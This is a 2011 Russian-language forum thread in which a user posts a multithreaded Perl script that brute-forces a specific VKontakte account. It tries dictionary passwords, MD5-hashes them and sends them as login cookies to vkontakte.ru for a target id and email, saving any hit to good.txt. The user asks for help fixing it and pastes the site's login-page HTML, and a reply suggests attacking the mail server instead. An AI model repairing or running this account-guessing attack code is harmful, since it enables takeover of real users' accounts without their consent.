Help! Помогите склеить brrutforce

Discussion in 'PHP' started by asd2011, 30 May 2011.

  1. asd2011

    asd2011 New Member

    Joined:
    30 May 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Help! Помогите склеить btuforce/
    На perl работает. Версия activeperl 5.8.9, без прокси, скорость более 3 Мбит.

    ИСХОДНИК:
    Code:
    #!/usr/bin/perl
    
    use IO::Socket;
    use MD5;
    use threads;
    use threads::shared;
    my @pass : shared;
    
    $dic = 'pass.txt';        #словарь паролей
    $id =     id15101421;        #id цели
    $mail = ' somemail%40mail.ru';    #мыло, вместо @ вписать %40
    $threads = 10;        #количество потоков
    ######################################
    
    open (pass, "<$dic");
    
    Next:
    @pass = pass();
    
    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }
    
    sub Brut
    {
    
    while (@pass){
    
    $pass = shift @pass;
    
    $md5 = MD5->hexhash($pass);
    $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
    print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
        "Host: vkontakte.ru\r\n".
                "Accept: */*\r\n".
                "Content-Type: application/x-www-form-urlencoded\r\n".
                "User-Agent: Mozillo\r\n".
                "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
                "Connection: close\r\n\r\n";
    $answ = <$sock>;
    close $sock;
    print "$pass  $answ";
    if ($answ =~ /302/){
    open (good, '>>good.txt');
    print good "$id:$pass:$md5\n";
    print "$id:$pass:$md5\n";
    close good;
    exit;}
    }
    
    }
    
    goto Next;
    
    sub pass
    {
        my (@mas);
        while (<pass>){
        push @mas, $_;
        last if (@mas == 400);
        }
        chomp @mas;
        return @mas;
    }
    
    
    Создаю соответственно "pass.txt" - со словарем паролей,
    Ввожу мыльник, id.
    Файл с кодом сохраняю с расширением .pl
    Тестю конечно с валидными - id, mail, password.

    Запускаю - Ничего путного не выдает -только .log вида:
    ------------
    perl.exe
    ------------
    aaaaaa HTTP/1.1 200 OK
    sdhakjshgdas HTTP/1.1 200 OK
    asdbasdb HTTP/1.1 200 OK
    bfsoiuf2 HTTP/1.1 200 OK
    23rfwfw HTTP/1.1 200 OK
    f2fasddwq HTTP/1.1 200 OK
    --------------------------
    окно не закрывается.
    Предположение неправильно описаны - значения успеха и(или) неудачи. Или только password'ы чекает и никакой связки с хостом, мыльнико, id - нет.

    Выкладываю html-код сайта-
    Code:
     
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
    <head>
    <meta http-equiv="content-type" content="text/html; charset=windows-1251" />
    <title>Вход</title>
    <link rel="stylesheet" href="/css/rustyle.css?126" type="text/css" />
    <script src="/js/common.js?234"></script>
    <link rel="stylesheet" href="/css/reg.css?13" type="text/css" />
    <link rel="stylesheet" href="/css/ui_controls.css?23" type="text/css" />
    <script type="text/javascript" src="/js/lib/ui_controls.js?101"></script>
    <script type="text/javascript" src="/js/lang0_0.js?3704"></script>
    
    
    <link rel="shortcut icon" href="/images/faviconnew.ico" />
    <!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie.css?14); /* ]]> */</style><![endif]-->
    <!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie7.css?13); /* ]]> */</style><![endif]-->
    <!--[if gte IE 8]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie8.css); /* ]]> */</style><![endif]-->
    <script type="text/javascript">
    <!--
    if (window.qArr && qArr[5]) qArr[5] = [5, "по товарам", "", "goods", 0x00000100];
    onDomReady(function() {
      window.init_dec_hash();
    
     
    });
    
    
    
    var base_domain = '/';
    css_versions = extend(css_versions, {
      lib_ui_controls_js: 101,
      ui_controls_css: 23,
    
      mentions_js: 32,
      qsearch_js: 34,
      privacy_css: 20,
      profile_css: 125,
      wiki_css: 26,
      gifts_css: 32,
      mail2_css: 12,
      mail_js: 40,
      photoview_css: 11,
      photoview_js: 16
    });
    
    var is_rtl = false;if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
      onDomReady(function() {
        document.getElementsByTagName('body')[0].innerHTML = '<h1 style="color: #F00">THIS IS NOT VKONTAKTE AND NOT VK SITE</h1>';
      });
    }
    window.awayHash = 'b5120b6746b69d018b';
    
    //-->
    </script>
    </head>
    
    <body onresize="onBodyResize()">
    <div id="pageContainer">
    
    
    
    
     <div id="pageLayout">
    
    <script type="text/javascript">onBodyResize()</script>
    
    <!-- pageHeader -->
    
      <div id="pageHeader" class="p_head p_head_l0">
       <div class="header_back"></div>
       <div class="header_left"></div>
       <div class="header_right"></div>
       <div id="pageHeaderRight">
    
       <h1 id="home"><a href="/">ВКонтакте</a></h1>
    
    
    <div class="headNav">
    </div>
    
       </div>
      </div>
    
    <!-- End pageHeader -->
    
    <!-- sideBar -->
    
      <div id="sideBar">
    
      
    <ol id='nav'>
      <li><a href='/index.php'>Главная</a></li>
      <li><a href='/login.php'>Вход</a></li>
      <li><a href='/reg0'>Регистрация</a></li>
    </ol>
    
      
      </div>
    
    <!-- End sideBar -->
    
    <!-- pageBody -->
    
      <div id="pageBody" class="pageBody">
      <div id="wrapH">
      <div id="wrapHI">
       <div id="header"><h1> Вход</h1></div>
      </div>
      </div>
    
      <div id="wrap2">
      <div id="wrap1">
       <div id="content">
    
        <script type="text/javascript">
    var vklogin = false;
    function try_to_login(obj, text) {
      if (text.substr(0, 4) == 'good') {
        var to = '';
        if (location.hash.toString().length) {
          to += location.hash;
        }
        if (to.length) {
          window.location.href = '/' + to;
        } else {
          window.location.href = '/id' + text.substr(4);
        }
      } else if (text.substr(0, 10) == 'not_active') {
        window.location.href = '/login.php?r=1';
      } else if (text.substr(0, 6) == 'invite') {
        window.location.href = '/help.php?page=welcome&hash=' + text.substr(6);
      } else if (text.substr(0, 9) == 'reginvite') {
        window.location.href = '/register.php?hash=' + text.substr(9);
      } else if (text.substr(0, 7) == 'vklogin') {
        vklogin = true;
        ge('login').submit();
      } else {
        show('message_text');
        ge('message_text').innerHTML = "<div id='error' style='font-size: 11px'>Такой почтовый адрес не зарегистрирован, либо пароль неверный.</div>";
      }
    }
    
    function quick_login() {
      var options = {onSuccess: try_to_login};
      hide('message_text');
      Ajax.postWithCaptcha('/login.php', {'op': 'a_login_attempt'}, options);
    }
    
    var captcha_send = 'Отправить';
    var captcha_cancel = 'Отмена';
    
    </script>
    
    <div id="message_text">
    <div id='error' style='font-size: 11px'>Такой почтовый адрес не зарегистрирован, либо пароль неверный.</div>
    </div>
    
    <div class="simplePage">
    
     <form method="post" name="login" id="login" action="http://login.vk.com/" onsubmit="if (vklogin) { return true} else { quick_login();return false;}">
     <input type="hidden" name="act" id="act" value="login">
     <input type="hidden" name="success_url" id="success_url" value="">
     <input type="hidden" name="fail_url" id="fail_url" value="">
     <input type="hidden" name="try_to_login" id="try_to_login" value="1">
     <input type="hidden" name="to" id="to" value=""/>
     <input type="hidden" name="vk" id="vk" value="" />
      <input type="hidden" name="al_test" value="3" />
    
     
    
      <table align="center" cellpadding=0 cellspacing=7 border=0 width="80%">
       <tr>
        <td class="ta_r">
         <span class="grey">E-mail или Логин:</span>
        </td>
        <td style="padding: 0px">
         <input class="inputText" type="text" name="email" value="[email protected]" id="email" size="25" style="margin: 0px"/>
        <td>
    
       </tr>
       <tr>
        <td class="ta_r">
         <span class="grey">Пароль:</span>
        </td>
        <td style="padding: 0px">
         <input class="inputText" type="password" name="pass" value="" id="pass" size="25" style="margin: 0px"/>
        </td>
    
       </tr>
       <tr>
        <td>
         &nbsp;
        </td>
        <td>
         <input type="hidden" name="expire" id="expire" />
    <script type="text/javascript">
    onDomReady(function() {
      new Checkbox(ge('expire'), {
        width: 150,
        label: 'Чужой компьютер'
      });
    });
    </script>
        </td>
    
       </tr>
       <tr>
        <td>
         &nbsp;
        </td>
        <td>
    <div style="height:20px; margin:5px 0px">
    <ul class="nNav btnList">
    <li>
    <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
    <span class="ncc"><a href="javascript: quick_login()">Вход</a></span>
    
    <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
    </li>
    <li>
    <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
    <span class="ncc"><a href="/reg0">Регистрация</a></span>
    <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
    </li></ul>
    </div>
    
        </td>
       </tr>
       <tr>
        <td>
    
         &nbsp;
        </td>
        <td class="forgotPass">
         <a href="login.php?op=forgot">Забыли пароль?</a>
        </td>
       </tr>
    
      </table>
      <input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/>
    
     </form>
    
    </div>
    
    
       </div>
      </div>
      </div>
     
    
      </div>
      <div id="boxHolder"></div>
    
    <!-- End pageBody -->
    
    <!-- bFooter -->
    <div class="footerVK">
     <div><a href="/help.php?page=about">В Контакте</a> &copy; 2006-2011 <a href="#" onclick="return doChangeLang(0, 'ac1388ccfe84952c58');" style="margin-left:7px">Русский</a><a href="#" onclick="return doChangeLang(1, 'ac1388ccfe84952c58');" style="margin-left:7px">Українська</a><a href="#" onclick="return doChangeLang(2, 'ac1388ccfe84952c58');" style="margin-left:7px">Беларуская (тарашкевiца)</a><a href="#" onclick="return doChangeLang(3, 'ac1388ccfe84952c58');" style="margin-left:7px">English</a><a href="#" onclick="return doChangeLang(11, 'ac1388ccfe84952c58');" style="margin-left:7px">Српски</a><a href="#" onclick="return doChangeLang(10, 'ac1388ccfe84952c58');" style="margin-left:7px">Magyar</a><a href="#" onclick="return doChangeLang(57, 'ac1388ccfe84952c58');" style="margin-left:7px">Azərbaycan</a><a href="#" onclick="return changeLang();" class="langSelector">все языки &raquo;</a></div>
    
     <div><!----></div>
    </div>
    <!--Both counters-->
    <script type="text/javascript">
    <!--
    onDomReady(function(){
      setTimeout(function() {
        (new Image()).src = 'http://counter.yadro.ru/hit?r' + escape(document.referrer) + ((typeof(screen)=='undefined')?'':';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ';u' + escape(document.URL) + ';' + Math.random() + '';
        (new Image()).src = 'http://www.tns-counter.ru/V13a***R>' + document.referrer.replace(/\*/g,'%2a') + '*vkontakte_ru/ru/UTF-8/tmsec=vkontakte_total/' + Math.round(Math.random() * 1000000000);
      }, 10);
    });
    //-->
    </script>
    <!--/Both counters-->
    <!-- End bFooter -->
    
    </div>
    
    <script type="text/javascript">
    window.init_dec_hash = function() {
      window.decoded_hashes = {};
      var dec_hash = function(hash) {
        (function(_){window.decoded_hashes[_]=(function(__){var ___=ge?'':'___';for(____=0;____<__.length;++____)___+=__.charAt(__.length-____-1);return geByClass?___:'___';})(_.substr(_.length-5)+_.substr(4,_.length-12));})(hash);
      }
      window.decodehash = function(hash) {
        dec_hash(hash);
        return window.decoded_hashes[hash];
      }
    }
    </script>
    
    
    
    <!-- End pageLayout 11593 -->
    
    </div>
    </body>
    </html>
    
    

    Просветите где ошибка.
     
  2. _Alexandr_

    _Alexandr_ New Member

    Joined:
    6 May 2011
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    Ну незнаю,я не профи,но по моему атака ведется не на 80 порт и не на стартовую страницу, а на SMTP или POP3 сервер.